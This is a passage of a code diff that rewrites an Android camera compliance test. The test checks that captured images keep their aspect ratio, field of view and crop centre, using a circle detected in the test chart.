-    fov_percent = calc_circle_image_ratio(circle_size[0], circle_size[1], w, h)
-    ref_fov["fmt"] = "JPEG"
-    ref_fov["percent"] = fov_percent
-    ref_fov["w"] = w
-    ref_fov["h"] = h
-    ref_fov["circle_w"] = circle_size[0]
-    ref_fov["circle_h"] = circle_size[1]
-    print "Using JPEG reference:", ref_fov
-    return ref_fov, cc_ct_gt
+  if failed_crop:
+    logging.error('Crop test summary')
+    logging.error('Images failed in the crop test:')
+    logging.error('Circle center (H x V) relative to the image center.')
+    for fc in failed_crop:
+      logging.error('%s', fc)
+  if failed_ar:
+    raise RuntimeError
+  if failed_fov:
+    raise RuntimeError
+  if first_api_level > _ANDROID11_API_LEVEL:
+    if failed_crop:  # failed_crop = [] if run_crop_test = False.
+      raise RuntimeError
+  else:
+    if failed_crop and level_3:
+      raise RuntimeError
 
 
-def calc_circle_image_ratio(circle_w, circle_h, image_w, image_h):
-    """Calculate the percent of area the input circle covers in input image.
+def _is_checked_aspect_ratio(first_api_level, w, h):
+  """Determine if format aspect ratio is a checked on based of first_API."""
+  if first_api_level >= _ANDROID11_API_LEVEL:
+    return True
 
-    Args:
-        circle_w (int):      width of circle
-        circle_h (int):      height of circle
-        image_w (int):       width of image
-        image_h (int):       height of image
-    Returns:
-        fov_percent (float): % of image covered by circle
-    """
-    circle_area = math.pi * math.pow(np.mean([circle_w, circle_h])/2.0, 2)
-    image_area = image_w * image_h
-    fov_percent = 100*circle_area/image_area
-    return fov_percent
+  for ar_check in _AR_CHECKED_PRE_API_30:
+    match_ar_list = [float(x) for x in ar_check.split(':')]
+    match_ar = match_ar_list[0] / match_ar_list[1]
+    if np.isclose(float(w) / h, match_ar, atol=_AR_DIFF_ATOL):
+      return True
+
+  return False
 
 
-def measure_aspect_ratio(img, img_name, raw_avlb, debug):
-    """Measure the aspect ratio of the black circle in the test image.
+def _calc_expected_circle_image_ratio(ref_fov, img_w, img_h):
+  """Determine the circle image area ratio in percentage for a given image size.
 
-    Args:
-        img: Numpy float image array in RGB, with pixel values in [0,1].
-        img_name: string with image info of format and size.
-        raw_avlb: True: raw capture is available; False: raw capture is not
-             available.
-        debug: boolean for whether in debug mode.
-    Returns:
-        aspect_ratio: aspect ratio number in float.
-        cc_ct: circle center position relative to the center of image.
-        (circle_w, circle_h): tuple of the circle size
-    """
-    size = img.shape
-    img *= 255
-    # Gray image
-    img_gray = 0.299*img[:, :, 2] + 0.587*img[:, :, 1] + 0.114*img[:, :, 0]
+  Cropping happens either horizontally or vertically. In both cases crop results
+  in the visble area reduced by a ratio r (r < 1) and the circle will in turn
+  occupy ref_pct/r (percent) on the target image size.
 
-    # otsu threshold to binarize the image
-    _, img_bw = cv2.threshold(np.uint8(img_gray), 0, 255,
-                              cv2.THRESH_BINARY + cv2.THRESH_OTSU)
+  Args:
+    ref_fov: dict with {fmt, % coverage, w, h, circle_w, circle_h}
+    img_w: the image width
+    img_h: the image height
 
-    # connected component
-    cv2_version = cv2.__version__
-    if cv2_version.startswith('3.'): # OpenCV 3.x
-        _, contours, hierarchy = cv2.findContours(
-                255-img_bw, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
-    else: # OpenCV 2.x and 4.x
-        contours, hierarchy = cv2.findContours(
-                255-img_bw, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+  Returns:
+    chk_percent: the expected circle image area ratio in percentage
+  """
+  ar_ref = ref_fov['w'] / ref_fov['h']
+  ar_target = img_w / img_h
 
-    # Check each component and find the black circle
-    min_cmpt = size[0] * size[1] * 0.005
-    max_cmpt = size[0] * size[1] * 0.35
-    num_circle = 0
-    aspect_ratio = 0
-    for ct, hrch in zip(contours, hierarchy[0]):
-        # The radius of the circle is 1/3 of the length of the square, meaning
-        # around 1/3 of the area of the square
-        # Parental component should exist and the area is acceptable.
-        # The coutour of a circle should have at least 5 points
-        child_area = cv2.contourArea(ct)
-        if (hrch[3] == -1 or child_area < min_cmpt or child_area > max_cmpt
-                    or len(ct) < 15):
+  r = ar_ref / ar_target
+  if r < 1.0:
+    r = 1.0 / r
+  return ref_fov['percent'] * r
+
+
+def _find_raw_fov_reference(cam, req, props, log_path):
+  """Determine the circle coverage of the image in RAW reference image.
+
+  Captures a full-frame RAW and uses its aspect ratio and circle center
+  location as ground truth for the other jpeg or yuv images.
+
+  The intrinsics and distortion coefficients are meant for full-sized RAW,
+  so convert_capture_to_rgb_image returns a 2x downsampled version, so resizes
+  RGB back to full size.
+
+  If the device supports lens distortion correction, applies the coefficients on
+  the RAW image so it can be compared to YUV/JPEG outputs which are subject
+  to the same correction via ISP.
+
+  Finds circle size and location for reference values in calculations for other
+  formats.
+
+  Args:
+    cam: camera object
+    req: camera request
+    props: camera properties
+    log_path: location to save data
+
+  Returns:
+    ref_fov: dict with [fmt, % coverage, w, h, circle_w, circle_h]
+    cc_ct_gt: circle center position relative to the center of image.
+    aspect_ratio_gt: aspect ratio of the detected circle in float.
+  """
+  logging.debug('Creating references for fov_coverage from RAW')
+  out_surface = {'format': 'raw'}
+  cap_raw = cam.do_capture(req, out_surface)
+  logging.debug('Captured RAW %dx%d', cap_raw['width'], cap_raw['height'])
+  img_raw = image_processing_utils.convert_capture_to_rgb_image(
+      cap_raw, props=props)
+  # Resize back up to full scale.
+  img_raw = cv2.resize(img_raw, (0, 0), fx=2.0, fy=2.0)
+
+  if (camera_properties_utils.distortion_correction(props) and
+      camera_properties_utils.intrinsic_calibration(props)):
+    logging.debug('Applying intrinsic calibration and distortion params')
+    fd = float(cap_raw['metadata']['android.lens.focalLength'])
+    k = camera_properties_utils.get_intrinsic_calibration(props, True, fd)
+    opencv_dist = camera_properties_utils.get_distortion_matrix(props)
+    img_raw = cv2.undistort(img_raw, k, opencv_dist)
+
+  # Get image size.
+  size_raw = img_raw.shape
+  w_raw = size_raw[1]
+  h_raw = size_raw[0]
+  img_name = '%s_%s_w%d_h%d.png' % (
+      os.path.join(log_path, _NAME), 'raw', w_raw, h_raw)
+  image_processing_utils.write_image(img_raw, img_name, True)
+
+  # Find circle.
+  img_raw *= 255  # cv2 needs images between [0,255].
+  circle_raw = opencv_processing_utils.find_circle(
+      img_raw, img_name, _CIRCLE_MIN_AREA, _CIRCLE_COLOR)
+  opencv_processing_utils.append_circle_center_to_img(circle_raw, img_raw,
+                                                      img_name)
+
+  # Determine final return values.
+  aspect_ratio_gt = circle_raw['w'] / circle_raw['h']
+  cc_ct_gt = {'hori': circle_raw['x_offset'], 'vert': circle_raw['y_offset']}
+  raw_fov_percent = _calc_circle_image_ratio(circle_raw['r'], w_raw, h_raw)
+  ref_fov = {}
+  ref_fov['fmt'] = 'RAW'
+  ref_fov['percent'] = raw_fov_percent
+  ref_fov['w'] = w_raw
+  ref_fov['h'] = h_raw
+  ref_fov['circle_w'] = circle_raw['w']
+  ref_fov['circle_h'] = circle_raw['h']
+  logging.debug('Using RAW reference: %s', str(ref_fov))
+  return ref_fov, cc_ct_gt, aspect_ratio_gt
+
+
+def _find_jpeg_fov_reference(cam, req, props, log_path):
+  """Determine the circle coverage of the image in JPEG reference image.
+
+  Similar to _find_raw_fov_reference() and used when RAW is not available.
+
+  Args:
+    cam: camera object
+    req: camera request
+    props: camera properties
+    log_path: location to save data
+
+  Returns:
+    ref_fov: dict with [fmt, % coverage, w, h, circle_w, circle_h]
+    cc_ct_gt: circle center position relative to the center of image.
+  """
+  ref_fov = {}
+  fmt = capture_request_utils.get_largest_jpeg_format(props)
+  # Capture and determine circle area in image.
+  cap = cam.do_capture(req, fmt)
+  w = cap['width']
+  h = cap['height']
+
+  img = image_processing_utils.convert_capture_to_rgb_image(cap, props)
+  img *= 255  # cv2 works with [0,255] images.
+  logging.debug('Captured JPEG %dx%d', w, h)
+  img_name = '%s_jpeg_w%d_h%d.png' % (os.path.join(log_path, _NAME), w, h)
+  circle_jpg = opencv_processing_utils.find_circle(
+      img, img_name, _CIRCLE_MIN_AREA, _CIRCLE_COLOR)
+  opencv_processing_utils.append_circle_center_to_img(circle_jpg, img,
+                                                      img_name)
+
+  # Determine final return values.
+  cc_ct_gt = {'hori': circle_jpg['x_offset'], 'vert': circle_jpg['y_offset']}
+  fov_percent = _calc_circle_image_ratio(circle_jpg['r'], w, h)
+  ref_fov = {}
+  ref_fov['fmt'] = 'JPEG'
+  ref_fov['percent'] = fov_percent
+  ref_fov['w'] = w
+  ref_fov['h'] = h
+  ref_fov['circle_w'] = circle_jpg['w']
+  ref_fov['circle_h'] = circle_jpg['h']
+  logging.debug('Using JPEG reference: %s', str(ref_fov))
+  return ref_fov, cc_ct_gt
+
+
+def _calc_circle_image_ratio(radius, img_w, img_h):
+  """Calculate the percent of area the input circle covers in input image.
+
+  Args:
+    radius: radius of circle
+    img_w: int width of image
+    img_h: int height of image
+  Returns:
+    fov_percent: float % of image covered by circle
+  """
+  return 100 * math.pi * math.pow(radius, 2) / (img_w * img_h)
+
+
+def _check_fov(circle, ref_fov, w, h, first_api_level):
+  """Check the FoV for correct size."""
+  fov_percent = _calc_circle_image_ratio(circle['r'], w, h)
+  chk_percent = _calc_expected_circle_image_ratio(ref_fov, w, h)
+  chk_enabled = _is_checked_aspect_ratio(first_api_level, w, h)
+  if chk_enabled and not np.isclose(fov_percent, chk_percent,
+                                    rtol=_FOV_PERCENT_RTOL):
+    e_msg = 'FoV %%: %.2f, Ref FoV %%: %.2f, ' % (fov_percent, chk_percent)
+    e_msg += 'TOL=%.f%%, img: %dx%d, ref: %dx%d' % (
+        _FOV_PERCENT_RTOL*100, w, h, ref_fov['w'], ref_fov['h'])
+    return e_msg
+
+
+def _check_ar(circle, ar_gt, w, h, fmt_iter, fmt_cmpr):
+  """Check the aspect ratio of the circle.
+
+  size is the larger of w or h.
+  if size >= LARGE_SIZE: use THRESH_AR_L
+  elif size == 0 (extreme case): THRESH_AR_S
+  elif 0 < image size < LARGE_SIZE: scale between THRESH_AR_S & THRESH_AR_L
+
+  Args:
+    circle: dict with circle parameters
+    ar_gt: aspect ratio ground truth to compare against
+    w: width of image
+    h: height of image
+    fmt_iter: format of primary capture
+    fmt_cmpr: format of secondary capture
+
+  Returns:
+    error string if check fails
+  """
+  thresh_ar = max(_THRESH_AR_L, _THRESH_AR_S +
+                  max(w, h) * (_THRESH_AR_L-_THRESH_AR_S) / _LARGE_SIZE)
+  ar = circle['w'] / circle['h']
+  if not np.isclose(ar, ar_gt, atol=thresh_ar):
+    e_msg = (f'{fmt_iter} with {fmt_cmpr} {w}x{h}: aspect_ratio {ar:.3f}, '
+             f'thresh {thresh_ar:.3f}')
+    return e_msg
+
+
+def _check_crop(circle, cc_gt, w, h, fmt_iter, fmt_cmpr, crop_thresh_factor):
+  """Check cropping.
+
+  if size >= LARGE_SIZE: use thresh_crop_l
+  elif size == 0 (extreme case): thresh_crop_s
+  elif 0 < size < LARGE_SIZE: scale between thresh_crop_s & thresh_crop_l
+  Also allow at least THRESH_MIN_PIXEL to prevent threshold being too tight
+  for very small circle.
+
+  Args:
+    circle: dict of circle values
+    cc_gt: circle center {'hori', 'vert'}  ground truth (ref'd to img center)
+    w: width of image
+    h: height of image
+    fmt_iter: format of primary capture
+    fmt_cmpr: format of secondary capture
+    crop_thresh_factor: scaling factor for crop thresholds
+
+  Returns:
+    error string if check fails
+  """
+  thresh_crop_l = _THRESH_CROP_L * crop_thresh_factor
+  thresh_crop_s = _THRESH_CROP_S * crop_thresh_factor
+  thresh_crop_hori = max(
+      [thresh_crop_l,
+       thresh_crop_s + w * (thresh_crop_l - thresh_crop_s) / _LARGE_SIZE,
+       _THRESH_MIN_PIXEL / circle['w']])
+  thresh_crop_vert = max(
+      [thresh_crop_l,
+       thresh_crop_s + h * (thresh_crop_l - thresh_crop_s) / _LARGE_SIZE,
+       _THRESH_MIN_PIXEL / circle['h']])
+
+  if (not np.isclose(circle['x_offset'], cc_gt['hori'],
+                     atol=thresh_crop_hori) or
+      not np.isclose(circle['y_offset'], cc_gt['vert'],
+                     atol=thresh_crop_vert)):
+    valid_x_range = (cc_gt['hori'] - thresh_crop_hori,
+                     cc_gt['hori'] + thresh_crop_hori)
+    valid_y_range = (cc_gt['vert'] - thresh_crop_vert,
+                     cc_gt['vert'] + thresh_crop_vert)
+    e_msg = (f'{fmt_iter} with {fmt_cmpr} {w}x{h} '
+             f"offset X {circle['x_offset']:.3f}, Y {circle['y_offset']:.3f}, "
+             f'valid X range: {valid_x_range[0]:.3f} ~ {valid_x_range[1]:.3f}, '
+             f'valid Y range: {valid_y_range[0]:.3f} ~ {valid_y_range[1]:.3f}')
+    return e_msg
+
+
+class AspectRatioAndCropTest(its_base_test.ItsBaseTest):
+  """Test aspect ratio/field of view/cropping for each tested fmt combinations.
+
+  This test checks for:
+    1. Aspect ratio: images are not stretched
+    2. Crop: center of images is not shifted
+    3. FOV: images cropped to keep maximum possible FOV with only 1 dimension
+       (horizontal or veritical) cropped.
+
+  Aspect ratio and FOV test runs on level3, full and limited devices.
+  Crop test only runs on level3 and full devices.
+
+  The test chart is a black circle inside a black square. When raw capture is
+  available, set the height vs. width ratio of the circle in the full-frame
+  raw as ground truth. In an ideal setup such ratio should be very close to
+  1.0, but here we just use the value derived from full resolution RAW as
+  ground truth to account for the possibility that the chart is not well
+  positioned to be precisely parallel to image sensor plane.
+  The test then compares the ground truth ratio with the same ratio measured
+  on images captued using different stream combinations of varying formats
+  ('jpeg' and 'yuv') and resolutions.
+  If raw capture is unavailable, a full resolution JPEG image is used to setup
+  ground truth. In this case, the ground truth aspect ratio is defined as 1.0
+  and it is the tester's responsibility to make sure the test chart is
+  properly positioned so the detected circles indeed have aspect ratio close
+  to 1.0 assuming no bugs causing image stretched.
+
+  The aspect ratio test checks the aspect ratio of the detected circle and
+  it will fail if the aspect ratio differs too much from the ground truth
+  aspect ratio mentioned above.
+
+  The FOV test examines the ratio between the detected circle area and the
+  image size. When the aspect ratio of the test image is the same as the
+  ground truth image, the ratio should be very close to the ground truth
+  value. When the aspect ratio is different, the difference is factored in
+  per the expectation of the Camera2 API specification, which mandates the
+  FOV reduction from full sensor area must only occur in one dimension:
+  horizontally or vertically, and never both. For example, let's say a sensor
+  has a 16:10 full sensor FOV. For all 16:10 output images there should be no
+  FOV reduction on them. For 16:9 output images the FOV should be vertically
+  cropped by 9/10. For 4:3 output images the FOV should be cropped
+  horizontally instead and the ratio (r) can be calculated as follows:
+      (16 * r) / 10 = 4 / 3 => r = 40 / 48 = 0.8333
+  Say the circle is covering x percent of the 16:10 sensor on the full 16:10
+  FOV, and assume the circle in the center will never be cut in any output
+  sizes (this can be achieved by picking the right size and position of the
+  test circle), the from above cropping expectation we can derive on a 16:9
+  output image the circle will cover (x / 0.9) percent of the 16:9 image; on
+  a 4:3 output image the circle will cover (x / 0.8333) percent of the 4:3
+  image.
+
+  The crop test checks that the center of any output image remains aligned
+  with center of sensor's active area, no matter what kind of cropping or
+  scaling is applied. The test verifies that by checking the relative vector
+  from the image center to the center of detected circle remains unchanged.
+  The relative part is normalized by the detected circle size to account for
+  scaling effect.
+  """
+
+  def test_aspect_ratio_and_crop(self):
+    logging.debug('Starting %s', _NAME)
+    failed_ar = []  # Streams failed the aspect ratio test.
+    failed_crop = []  # Streams failed the crop test.
+    failed_fov = []  # Streams that fail FoV test.
+    format_list = _create_format_list()
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      fls_logical = props['android.lens.info.availableFocalLengths']
+      logging.debug('logical available focal lengths: %s', str(fls_logical))
+      props = cam.override_with_hidden_physical_camera_props(props)
+      fls_physical = props['android.lens.info.availableFocalLengths']
+      logging.debug('physical available focal lengths: %s', str(fls_physical))
+      log_path = self.log_path
+
+      # Check SKIP conditions.
+      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      _check_skip_conditions(first_api_level, props)
+
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Determine camera capabilities.
+      full_or_better = camera_properties_utils.full_or_better(props)
+      level3 = camera_properties_utils.level3(props)
+      raw_avlb = camera_properties_utils.raw16(props)
+      debug = self.debug_mode
+
+      # Converge 3A.
+      cam.do_3a()
+      req = capture_request_utils.auto_capture_request()
+
+      # If raw is available and main camera, use it as ground truth.
+      if raw_avlb and (fls_physical == fls_logical):
+        ref_fov, cc_ct_gt, aspect_ratio_gt = _find_raw_fov_reference(
+            cam, req, props, log_path)
+      else:
+        aspect_ratio_gt = 1.0  # Ground truth circle width/height ratio.
+        ref_fov, cc_ct_gt = _find_jpeg_fov_reference(cam, req, props, log_path)
+
+      run_crop_test = full_or_better and raw_avlb
+      if run_crop_test:
+        # Normalize the circle size to 1/4 of the image size, so that
+        # circle size won't affect the crop test result
+        crop_thresh_factor = ((min(ref_fov['w'], ref_fov['h']) / 4.0) /
+                              max(ref_fov['circle_w'], ref_fov['circle_h']))
+      else:
+        logging.debug('Crop test skipped')
+
+      # Take pictures of each settings with all the image sizes available.
+      for fmt in format_list:
+        fmt_iter = fmt['iter']
+        fmt_cmpr = fmt['cmpr']
+        # Get the size of 'cmpr'.
+        sizes = capture_request_utils.get_available_output_sizes(
+            fmt_cmpr, props, fmt['cmpr_size'])
+        if not sizes:  # Device might not support RAW.
+          continue
+        w_cmpr, h_cmpr = sizes[0][0], sizes[0][1]
+        for size_iter in capture_request_utils.get_available_output_sizes(
+            fmt_iter, props, fmt['iter_max']):
+          w_iter, h_iter = size_iter[0], size_iter[1]
+          # Skip same format/size combination: ITS doesn't handle that properly.
+          if w_iter*h_iter == w_cmpr*h_cmpr and fmt_iter == fmt_cmpr:
             continue
-        # Check the shapes of current component and its parent
-        child_shape = its.cv2image.component_shape(ct)
-        parent = hrch[3]
-        prt_shape = its.cv2image.component_shape(contours[parent])
-        prt_area = cv2.contourArea(contours[parent])
-        dist_x = abs(child_shape["ctx"]-prt_shape["ctx"])
-        dist_y = abs(child_shape["cty"]-prt_shape["cty"])
-        # 1. 0.56*Parent"s width < Child"s width < 0.76*Parent"s width.
-        # 2. 0.56*Parent"s height < Child"s height < 0.76*Parent"s height.
-        # 3. Child"s width > 0.1*Image width
-        # 4. Child"s height > 0.1*Image height
-        # 5. 0.25*Parent"s area < Child"s area < 0.45*Parent"s area
-        # 6. Child == 0, and Parent == 255
-        # 7. Center of Child and center of parent should overlap
-        if (prt_shape["width"] * 0.56 < child_shape["width"]
-                    < prt_shape["width"] * 0.76
-                    and prt_shape["height"] * 0.56 < child_shape["height"]
-                    < prt_shape["height"] * 0.76
-                    and child_shape["width"] > 0.1 * size[1]
-                    and child_shape["height"] > 0.1 * size[0]
-                    and 0.30 * prt_area < child_area < 0.50 * prt_area
-                    and img_bw[child_shape["cty"]][child_shape["ctx"]] == 0
-                    and img_bw[child_shape["top"]][child_shape["left"]] == 255
-                    and dist_x < 0.1 * child_shape["width"]
-                    and dist_y < 0.1 * child_shape["height"]):
-            # If raw capture is not available, check the camera is placed right
-            # in front of the test page:
-            # 1. Distances between parent and child horizontally on both side,0
-            #    dist_left and dist_right, should be close.
-            # 2. Distances between parent and child vertically on both side,
-            #    dist_top and dist_bottom, should be close.
-            if not raw_avlb:
-                dist_left = child_shape["left"] - prt_shape["left"]
-                dist_right = prt_shape["right"] - child_shape["right"]
-                dist_top = child_shape["top"] - prt_shape["top"]
-                dist_bottom = prt_shape["bottom"] - child_shape["bottom"]
-                if (abs(dist_left-dist_right) > 0.05 * child_shape["width"]
-                            or abs(dist_top-dist_bottom) > 0.05 * child_shape["height"]):
-                    continue
-            # Calculate aspect ratio
-            aspect_ratio = float(child_shape["width"]) / child_shape["height"]
-            circle_ctx = child_shape["ctx"]
-            circle_cty = child_shape["cty"]
-            circle_w = float(child_shape["width"])
-            circle_h = float(child_shape["height"])
-            cc_ct = {"hori": float(child_shape["ctx"]-size[1]/2) / circle_w,
-                     "vert": float(child_shape["cty"]-size[0]/2) / circle_h}
-            num_circle += 1
-            # If more than one circle found, break
-            if num_circle == 2:
-                break
+          out_surface = [{'width': w_iter, 'height': h_iter,
+                          'format': fmt_iter}]
+          out_surface.append({'width': w_cmpr, 'height': h_cmpr,
+                              'format': fmt_cmpr})
 
-    if num_circle == 0:
-        its.image.write_image(img/255, img_name, True)
-        print "No black circle was detected. Please take pictures according",
-        print "to instruction carefully!\n"
-        assert num_circle == 1
+          cap = cam.do_capture(req, out_surface)[0]
+          _check_basic_correctness(cap, fmt_iter, w_iter, h_iter)
+          logging.debug('Captured %s with %s %dx%d. Compared size: %dx%d',
+                        fmt_iter, fmt_cmpr, w_iter, h_iter, w_cmpr, h_cmpr)
+          img = image_processing_utils.convert_capture_to_rgb_image(cap)
+          img *= 255  # cv2 uses [0, 255].
+          img_name = '%s_%s_with_%s_w%d_h%d.png' % (
+              os.path.join(log_path, _NAME), fmt_iter, fmt_cmpr, w_iter, h_iter)
+          circle = opencv_processing_utils.find_circle(
+              img, img_name, _CIRCLE_MIN_AREA, _CIRCLE_COLOR)
+          if debug:
+            opencv_processing_utils.append_circle_center_to_img(circle, img,
+                                                                img_name)
 
-    if num_circle > 1:
-        its.image.write_image(img/255, img_name, True)
-        print "More than one black circle was detected. Background of scene",
-        print "may be too complex.\n"
-        assert num_circle == 1
+          # Check pass/fail for fov coverage for all fmts in AR_CHECKED
+          img /= 255  # image_processing_utils uses [0, 1].
+          fov_chk_msg = _check_fov(circle, ref_fov, w_iter, h_iter,
+                                   first_api_level)
+          if fov_chk_msg:
+            failed_fov.append(fov_chk_msg)
+            image_processing_utils.write_image(img, img_name, True)
 
-    # draw circle center and image center, and save the image
-    line_width = max(1, max(size)/500)
-    move_text_dist = line_width * 3
-    cv2.line(img, (circle_ctx, circle_cty), (size[1]/2, size[0]/2),
-             (255, 0, 0), line_width)
-    if circle_cty > size[0]/2:
-        move_text_down_circle = 4
-        move_text_down_image = -1
-    else:
-        move_text_down_circle = -1
-        move_text_down_image = 4
-    if circle_ctx > size[1]/2:
-        move_text_right_circle = 2
-        move_text_right_image = -1
-    else:
-        move_text_right_circle = -1
-        move_text_right_image = 2
-    # circle center
-    text_circle_x = move_text_dist * move_text_right_circle + circle_ctx
-    text_circle_y = move_text_dist * move_text_down_circle + circle_cty
-    cv2.circle(img, (circle_ctx, circle_cty), line_width*2, (255, 0, 0), -1)
-    cv2.putText(img, "circle center", (text_circle_x, text_circle_y),
-                cv2.FONT_HERSHEY_SIMPLEX, line_width/2.0, (255, 0, 0),
-                line_width)
-    # image center
-    text_imgct_x = move_text_dist * move_text_right_image + size[1]/2
-    text_imgct_y = move_text_dist * move_text_down_image + size[0]/2
-    cv2.circle(img, (size[1]/2, size[0]/2), line_width*2, (255, 0, 0), -1)
-    cv2.putText(img, "image center", (text_imgct_x, text_imgct_y),
-                cv2.FONT_HERSHEY_SIMPLEX, line_width/2.0, (255, 0, 0),
-                line_width)
-    if debug:
-        its.image.write_image(img/255, img_name, True)
+          # Check pass/fail for aspect ratio.
+          ar_chk_msg = _check_ar(
+              circle, aspect_ratio_gt, w_iter, h_iter, fmt_iter, fmt_cmpr)
+          if ar_chk_msg:
+            failed_ar.append(ar_chk_msg)
+            image_processing_utils.write_image(img, img_name, True)
 
-    print "Aspect ratio: %.3f" % aspect_ratio
-    print "Circle center position wrt to image center:",
-    print "%.3fx%.3f" % (cc_ct["vert"], cc_ct["hori"])
-    return aspect_ratio, cc_ct, (circle_w, circle_h)
+          # Check pass/fail for crop.
+          if run_crop_test:
+            crop_chk_msg = _check_crop(circle, cc_ct_gt, w_iter, h_iter,
+                                       fmt_iter, fmt_cmpr, crop_thresh_factor)
+            if crop_chk_msg:
+              failed_crop.append(crop_chk_msg)
+              image_processing_utils.write_image(img, img_name, True)
 
+      # Print any failed test results.
+      _print_failed_test_results(failed_ar, failed_fov, failed_crop,
+                                 first_api_level, level3)
 
-def main():
-    """Test aspect ratio/field of view (FOV)/cropping for each tested formats combinations.
-
-    This test checks for:
-      1. Aspect ratio: images are not stretched
-      2. Crop: center of images is always center of the image sensor no matter
-         how the image is cropped from sensor's full FOV
-      3. FOV: images are always cropped to keep the maximum possible FOV with
-         only one dimension (horizontal or veritical) cropped.
-
-    Aspect ratio and FOV test runs on level3, full and limited devices.
-    Crop test only runs on full and level3 devices.
-
-    The test chart is a black circle inside a black square. When raw capture is
-    available, set the height vs. width ratio of the circle in the full-frame
-    raw as ground truth. In an ideal setup such ratio should be very close to
-    1.0, but here we just use the value derived from full resolution RAW as
-    ground truth to account for the possiblity that the chart is not well
-    positioned to be precisely parallel to image sensor plane.
-    The test then compare the ground truth ratio with the same ratio measured
-    on images captued using different stream combinations of varying formats
-    ("jpeg" and "yuv") and resolutions.
-    If raw capture is unavailable, a full resolution JPEG image is used to setup
-    ground truth. In this case, the ground truth aspect ratio is defined as 1.0
-    and it is the tester's responsibility to make sure the test chart is
-    properly positioned so the detected circles indeed have aspect ratio close
-    to 1.0 assuming no bugs causing image stretched.
-
-    The aspect ratio test checks the aspect ratio of the detected circle and
-    it will fail if the aspect ratio differs too much from the ground truth
-    aspect ratio mentioned above.
-
-    The FOV test examines the ratio between the detected circle area and the
-    image size. When the aspect ratio of the test image is the same as the
-    ground truth image, the ratio should be very close to the ground truth
-    value. When the aspect ratio is different, the difference is factored in
-    per the expectation of the Camera2 API specification, which mandates the
-    FOV reduction from full sensor area must only occur in one dimension:
-    horizontally or vertically, and never both. For example, let's say a sensor
-    has a 16:10 full sensor FOV. For all 16:10 output images there should be no
-    FOV reduction on them. For 16:9 output images the FOV should be vertically
-    cropped by 9/10. For 4:3 output images the FOV should be cropped
-    horizontally instead and the ratio (r) can be calculated as follows:
-        (16 * r) / 10 = 4 / 3 => r = 40 / 48 = 0.8333
-    Say the circle is covering x percent of the 16:10 sensor on the full 16:10
-    FOV, and assume the circle in the center will never be cut in any output
-    sizes (this can be achieved by picking the right size and position of the
-    test circle), the from above cropping expectation we can derive on a 16:9
-    output image the circle will cover (x / 0.9) percent of the 16:9 image; on
-    a 4:3 output image the circle will cover (x / 0.8333) percent of the 4:3
-    image.
-
-    The crop test checks that the center of any output image remains aligned
-    with center of sensor's active area, no matter what kind of cropping or
-    scaling is applied. The test verified that by checking the relative vector
-    from the image center to the center of detected circle remains unchanged.
-    The relative part is normalized by the detected circle size to account for
-    scaling effect.
-    """
-    aspect_ratio_gt = 1.0  # Ground truth circle width/height ratio.
-                           # If full resolution RAW is available as reference
-                           # then this will be updated to the value measured on
-                           # the RAW image. Otherwise a full resolution JPEG
-                           # will be used as reference and this value will be
-                           # 1.0.
-    failed_ar = []  # streams failed the aspect ratio test
-    failed_crop = []  # streams failed the crop test
-    failed_fov = []  # streams that fail FoV test
-    format_list = []  # format list for multiple capture objects.
-
-    # Do multi-capture of "iter" and "cmpr". Iterate through all the
-    # available sizes of "iter", and only use the size specified for "cmpr"
-    # The "cmpr" capture is only used so that we have multiple capture target
-    # instead of just one, which should help catching more potential issues.
-    # The test doesn't look into the output of "cmpr" images at all.
-    # The "iter_max" or "cmpr_size" key defines the maximal size being iterated
-    # or selected for the "iter" and "cmpr" stream accordingly. None means no
-    # upper bound is specified.
-    format_list.append({"iter": "yuv", "iter_max": None,
-                        "cmpr": "yuv", "cmpr_size": PREVIEW_SIZE})
-    format_list.append({"iter": "yuv", "iter_max": PREVIEW_SIZE,
-                        "cmpr": "jpeg", "cmpr_size": None})
-    format_list.append({"iter": "yuv", "iter_max": PREVIEW_SIZE,
-                        "cmpr": "raw", "cmpr_size": None})
-    format_list.append({"iter": "jpeg", "iter_max": None,
-                        "cmpr": "raw", "cmpr_size": None})
-    format_list.append({"iter": "jpeg", "iter_max": None,
-                        "cmpr": "yuv", "cmpr_size": PREVIEW_SIZE})
-    ref_fov = {}  # Reference frame's FOV related information
-                  # If RAW is available a full resolution RAW frame will be used
-                  # as reference frame; otherwise the highest resolution JPEG is used.
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        fls_logical = props['android.lens.info.availableFocalLengths']
-        print 'logical available focal lengths: %s', str(fls_logical)
-        props = cam.override_with_hidden_physical_camera_props(props)
-        fls_physical = props['android.lens.info.availableFocalLengths']
-        print 'physical available focal lengths: %s', str(fls_physical)
-        # determine skip conditions
-        first_api = its.device.get_first_api_level(its.device.get_device_id())
-        if first_api < 30:  # original constraint
-            its.caps.skip_unless(its.caps.read_3a(props))
-        else:  # loosen from read_3a to enable LIMITED coverage
-            its.caps.skip_unless(its.caps.ae_lock(props) and
-                                 its.caps.awb_lock(props))
-        # determine capabilities
-        full_device = its.caps.full_or_better(props)
-        limited_device = its.caps.limited(props)
-        its.caps.skip_unless(full_device or limited_device)
-        level3_device = its.caps.level3(props)
-        raw_avlb = its.caps.raw16(props)
-        run_crop_test = (level3_device or full_device) and raw_avlb
-        if not run_crop_test:
-            print "Crop test skipped"
-        debug = its.caps.debug_mode()
-        # Converge 3A
-        cam.do_3a()
-        req = its.objects.auto_capture_request()
-
-        # If raw is available and main camera, use it as ground truth.
-        if raw_avlb and (fls_physical == fls_logical):
-            ref_fov, cc_ct_gt, aspect_ratio_gt = find_raw_fov_reference(cam, req, props, debug)
-        else:
-            ref_fov, cc_ct_gt = find_jpeg_fov_reference(cam, req, props)
-
-        if run_crop_test:
-            # Normalize the circle size to 1/4 of the image size, so that
-            # circle size won't affect the crop test result
-            factor_cp_thres = ((min(ref_fov["w"], ref_fov["h"])/4.0) /
-                               max(ref_fov["circle_w"], ref_fov["circle_h"]))
-            thres_l_cp_test = THRESH_L_CP * factor_cp_thres
-            thres_xs_cp_test = THRESH_XS_CP * factor_cp_thres
-
-        # Take pictures of each settings with all the image sizes available.
-        for fmt in format_list:
